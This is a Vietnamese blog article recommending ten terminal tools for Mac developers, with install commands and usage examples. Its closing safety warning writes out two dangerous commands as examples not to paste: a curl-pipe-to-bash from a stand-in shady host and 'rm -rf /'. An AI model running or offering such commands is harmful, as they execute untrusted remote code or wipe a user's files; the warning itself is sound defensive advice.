TẤT CẢ Top 10 công cụ terminal cho Mac 2026: dev toolkit

Top 10 công cụ terminal cho Mac 2026: dev toolkit

SEO 97/100 A+

Nếu bạn là dev trên Mac, terminal mặc định (bash/zsh) sẽ đủ để làm việc cơ bản — nhưng công cụ terminal cho Mac chuyên biệt sẽ giúp bạn:

  • 🚀 Làm việc nhanh hơn 10 lần (autocomplete, search, preview).
  • 🎨 Đọc code, log, JSON dễ hơn (syntax highlight, format).
  • 📁 Navigate folder mượt mà (jump, search, history).
  • 🛠️ Debug, commit, deploy an toàn hơn (visual tool, confirmation).

Bài này giới thiệu top 10 công cụ terminal Mac mà mình đã dùng và recommend cho mọi dev — từ junior tới senior. Mỗi tool đều có mục đích rõ, có thể cài trong 2 phút, và giúp ích ngay.

Tại sao nên cài công cụ terminal cho Mac?

Bạn đang dùng terminal mặc định? Thì bạn đang bỏ lỡ nhiều tiện ích:

  • ❌ File command ls cơ bản, chậm, khó đọc.
  • ❌ Search history bằng Ctrl+R — tìm được mới lạ.
  • grep tìm trong file — mất công, nếu lỗi syntax còn khó hơn.
  • cat file JSON — toàn khối text, không highlight.
  • ❌ Git commit / revert — dễ thao tác sai, không preview.

Với công cụ terminal cho Mac chuyên biệt, bạn sẽ:

✅ Gõ tên file → fuzzy search autocomplete tự động.

✅ Xem folder structure trực quan, file icon, size, git status.

✅ Tìm string trong repo realtime, highlight, jump.

✅ Xem JSON/log pretty-print, đôi khi ngay trong terminal.

✅ Git blame, revert, diff visual, confirmation trước khi làm hỏng.


Top 10 công cụ terminal Mac 2026

1. Homebrew — Package manager bắt buộc

Mục đích: Cài đặt, update, quản lý tool từ terminal.

Vì sao hữu ích: Thay vì tải .dmg hoặc brew từng tool, Homebrew là kho chứa 10,000+ package — cài 1 dòng, update 1 dòng, xoá 1 dòng.

Cài đặt:

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Ví dụ:

brew install gh          # Cài GitHub CLI
brew install jq          # Cài jq (parse JSON)
brew upgrade             # Update tất cả package
brew list                # Danh sách đã cài
brew uninstall gh        # Xoá package

2. GitHub CLI (gh) — Quản lý GitHub từ terminal

Mục đích: Check PR, CI/CD, merge, tạo issue — không cần mở browser.

Vì sao hữu ích: Nếu bạn đang viết code hay debug, việc phải mở browser để check PR status là ngắt khoảng (context switch). gh để bạn check và hành động trong terminal.

Cài đặt:

brew install gh
gh auth login

Ví dụ:

gh pr status              # Xem PR của bạn
gh pr checks 123 --watch  # Đợi CI xong realtime
gh pr view 123            # Chi tiết PR
gh run list               # Workflow run gần nhất
gh issue list             # Danh sách issue

Liên quan: Xem bài lệnh terminal kiểm tra PR GitHub để biết chi tiết.


3. jq — Parse & format JSON

Mục đích: Lọc, chọn field, pretty-print JSON từ terminal.

Vì sao hữu ích: Khi bạn curl API hoặc cat file JSON, kết quả là khối text xấu. jq giúp bạn:

  • Chọn field: .user.name
  • Lọc array: .items[] | select(.status=="active")
  • Pretty-print: jq '.'

Cài đặt:

brew install jq

Ví dụ:

# Pretty-print JSON
curl https://api.example.com/users | jq '.'

# Chọn field cụ thể
jq '.[] | .name' users.json

# Lọc theo điều kiện
jq '.items[] | select(.status=="active")' data.json

4. ripgrep (rg) — Tìm kiếm code siêu nhanh

Mục đích: Tìm string, regex trong codebase — nhanh hơn grep 100 lần.

Vì sao hữu ích: grep là lệnh cũ, chậm. rg là thay thế hiện đại:

  • Tìm nhanh (bỏ qua .git, node_modules).
  • Highlight kết quả màu sắc.
  • --type filter theo loại file (Python, JS, Rust…).
  • Preview context xung quanh kết quả.

Cài đặt:

brew install ripgrep

Ví dụ:

rg "todo" --type py         # Tìm "todo" trong file Python
rg "async/await" -A 3       # Tìm + in 3 dòng sau
rg "console\.log"           # Tìm console.log (escape special char)
rg "import.*os" --type py   # Regex trong Python file

5. fzf — Fuzzy finder: search & autocomplete

Mục đích: Tìm file, folder, command history bằng fuzzy search (không cần gõ chính xác).

Vì sao hữu ích:

  • **<Tab> → fuzzy search file.
  • Ctrl+R → fuzzy search command history.
  • Preview file trong khi search.
  • Kết hợp pipe để filter đầu vào.

Cài đặt:

brew install fzf
# Chạy setup (thêm keybindings)
$(brew --prefix)/opt/fzf/install

Ví dụ:

# Tìm file
cd **/some<TAB>   # Fuzzy search folder có "some"

# Search command history
<Ctrl+R>          # Fuzzy search lệnh vừa chạy

# Combine với command khác
find . -type f | fzf    # Browse và chọn file

6. bat — Xem file với syntax highlight

Mục đích: Thay thế cat — thêm syntax highlight, line number, git diff.

Vì sao hữu ích: cat file.py output chữ plain. bat highlight Python syntax, show line number, highlight git changes.

Cài đặt:

brew install bat

Ví dụ:

bat file.py                # Xem Python file (highlight)
bat --line-range 10:20 big.log   # Xem dòng 10-20
bat --theme "Monokai Extended" file.md   # Chọn theme

7. eza — List file hiện đại (thay ls)

Mục đích: Lệnh ls mới, hiển thị file với icon, tree, git status.

Vì sao hữu ích:

  • ls cơ bản chỉ show tên.
  • eza show icon (file, folder, symlink), size, permission, git status (modified, new, untracked).
  • Tree view folder structure.
  • Color-coded theo loại file.

Cài đặt:

brew install eza
# Optional: alias
echo "alias ls='eza'" >> ~/.zshrc

Ví dụ:

eza -la                    # List với permission, git status
eza --tree --level=2       # Tree view 2 level
eza -lh --git              # Long format + git status

8. zoxide — Jump folder nhanh (thay cd)

Mục đích: Nhớ folder hay dùng, jump 1 lệnh (không cần path dài).

Vì sao hữu ích: Bạn có thêm 10 project, mỗi cái 3 level folder nested. Thay vì cd /path/to/project/sub/folder, bạn chỉ gõ z projec → jump ngay.

Cài đặt:

brew install zoxide
# Thêm vào ~/.zshrc (hoặc ~/.bashrc)
eval "$(zoxide init zsh)"

Ví dụ:

cd /very/long/path/to/project   # Lần đầu, zoxide học
z proj                          # Lần sau, jump ngay (fuzzy match)
zi                              # Interactive browse history

9. lazygit — Git GUI trong terminal

Mục đích: Xem git status, stage, commit, revert — visual, safe (có confirmation).

Vì sao hữu ích:

  • Git CLI dễ sai lệnh, especially rebase, reset --hard.
  • lazygit show visual diff, branch tree, commit log — dễ hiểu.
  • Stage file bằng space, commit bằng c, preview trước hành động.
  • Undo mistake bằng z (redo).

Cài đặt:

brew install lazygit

Ví dụ:

lazygit                    # Mở TUI Git
# Navigate: ↑↓ = branch, commit; ← → = pane (status/diff/log)
# Action: Space = stage, c = commit, r = rebase, u = undo

10. Phoenix Code — Code editor + AI cho Mac

Mục đích: Edit Markdown, fix code, refactor — với context visual/runtime.

Vì sao hữu ích:

  • Lightweight editor (không VS Code heavyweight).
  • AI-assisted editing — ask Claude để rewrite paragraph, fix code.
  • Visual preview — Markdown preview realtime, website preview (nếu zola build hoặc npm start).
  • Context-aware — hiểu project structure, file dependencies.
  • Phù hợp cho content creator, tech blogger — edit .md files với AI helper.

Cài đặt:

Mac version tại Phoenix Code — hoặc qua Homebrew nếu available.

Ví dụ:

# Mở file trong Phoenix Code
open -a "Phoenix Code" blog.md

# Highlight text → Ask Claude "make it shorter"
# Markdown auto-preview on the right
# Run Zola build → live preview

Bonus: Starship — Shell prompt siêu đẹp

Mục đích: Customize shell prompt (thay $ hoặc % ).

Vì sao hữu ích: Prompt mặc định chỉ show folder hiện tại. Starship show:

  • Git branch hiện tại + status (modified ✗, untracked ?).
  • Language version (Python 3.11, Node 18…).
  • Command exit code (nếu error, show 🔴).
  • Execution time (lệnh mất bao lâu).

Cài đặt:

brew install starship
echo 'eval "$(starship init zsh)"' >> ~/.zshrc
# Reload shell
source ~/.zshrc

Bảng so sánh nhanh

ToolThay thếƯu điểmHọc 5 phút
HomebrewManual downloadCài 1 dòng, manage dễbrew install <pkg>
ghGitHub.comKhông mở browsergh pr status
jqgrep + awkPretty-print JSON, filterjq '.field'
rggrepNhanh, skip .gitrg "string"
fzfGõ path đầy đủFuzzy search, visual<Ctrl+R> history
batcatSyntax highlightbat file.py
ezalsIcon, git status, treeeza -la
zoxidecd /long/pathJump folder hay dùngz proj
lazygitgit commandVisual diff, safelazygit
Phoenix CodeVS CodeLightweight + AIOpen & edit .md

⚠️ Cảnh báo: Đừng paste lệnh lạ vào terminal

Khi bạn tìm kiếm "cách fix bug" trên Google hay ChatGPT, bạn sẽ gặp các terminal command. Quy tắc bắt buộc:

🔴 KHÔNG paste lệnh nếu bạn:

  • Không hiểu nó làm gì.
  • Nó chứa rm -rf /, curl | bash, sudo.
  • Nguồn không đáng tin (random blog, diễn đàn cũ).

HÃNG paste nếu:

  • Bạn đã đọc và hiểu từng từ.
  • Nó từ tài liệu chính thức (Apple, Homebrew, GitHub docs).
  • Bạn backup data trước (git commit, file backup).
  • Bạn test trên local trước khi dùng production.

Ví dụ nguy hiểm:

# ❌ KHÔNG PASTE NÀY — nó xoá folder!
curl https://shady-site.com/script.sh | bash

# ❌ KHÔNG PASTE — xoá tất cả file
rm -rf /

FAQ

Q: Mình là dev Python/Node/Ruby — nên cài tool nào?

A: Cài hết top 5: Homebrew, gh, jq, rg, fzf, bat. Đó là bộ cơ bản ai cũng dùng. eza + zoxide tuỳ sở thích.

Q: Cài nhiều tool, sẽ lag terminal không?

A: Không. Mỗi tool ~5-20 MB, modern Mac có GB RAM. Chỉ lag nếu bạn chạy heavy process (video encode, AI training).

Q: Làm sao biết command của tool mới?

A: Gõ <tool-name> --help hoặc <tool-name> -h. Hầu hết tool hiện help. Hoặc man <tool-name> (manual page).

Q: Uninstall tool được không?

A: Dễ: brew uninstall <tool-name>. Config file giữ lại, nếu cài lại sẽ dùng lại.

Q: Có tool nào cho Git mà an toàn hơn CLI?

A: lazygit + gh kết hợp. lazygit visual, gh cho PR/issue. Cùng lại: không bỏ sót hành động.

Q: Phoenix Code có bản Windows/Linux không?

A: Bài này focus Mac vì đó là nền tảng phổ biến dev. Windows → try VS Code / Windows Terminal. Linux → try VS Code / Neovim.


Kết luận

Nếu bạn mới bắt đầu với terminal trên Mac, đừng overwhelmed — chỉ cần:

  1. Tuần 1: Cài Homebrew → ghfzf.
  2. Tuần 2: Thêm rg + bat.
  3. Tuần 3+: Dần dần thêm eza, zoxide, lazygit.

Mỗi tool sẽ tiết kiệm 5-10 giây mỗi lần dùng. Nhân 100 lần/ngày → 500-1000 giây = 10-15 phút/ngày tiết kiệm. Tính năm, đó là 60+ giờ làm việc lại.

Hôm nay, hãy cài Homebrew + gh — bạn sẽ thấy chênh lệch ngay. 🚀

Tham khảo:

Tham khảo & Nguồn dữ liệu

1. Liên kết bên ngoài được sử dụng trong bài viết

2. Liên kết nội bộ liên quan

3. Bản quyền & Ghi nguồn

Một phần dữ liệu trong bài viết được tham khảo từ fzf GitHub, GitHub CLI Manual, ripgrep GitHub, Homebrew Official và Phoenix Code. Mọi thương hiệu, tên sản phẩm và tài liệu gốc thuộc quyền sở hữu của chủ sở hữu tương ứng. Bài viết chỉ trích dẫn, tổng hợp và phân tích — không nhằm thay thế tài liệu chính thức.

💬 BÌNH LUẬN

Đăng nhập GitHub để comment. Hỗ trợ markdown, reaction, reply.

S-DNA · CI/CD Monitor

Live TheoDoi8

🔄 running
theodoi8@github-actions

Đang tải terminal theodoi8…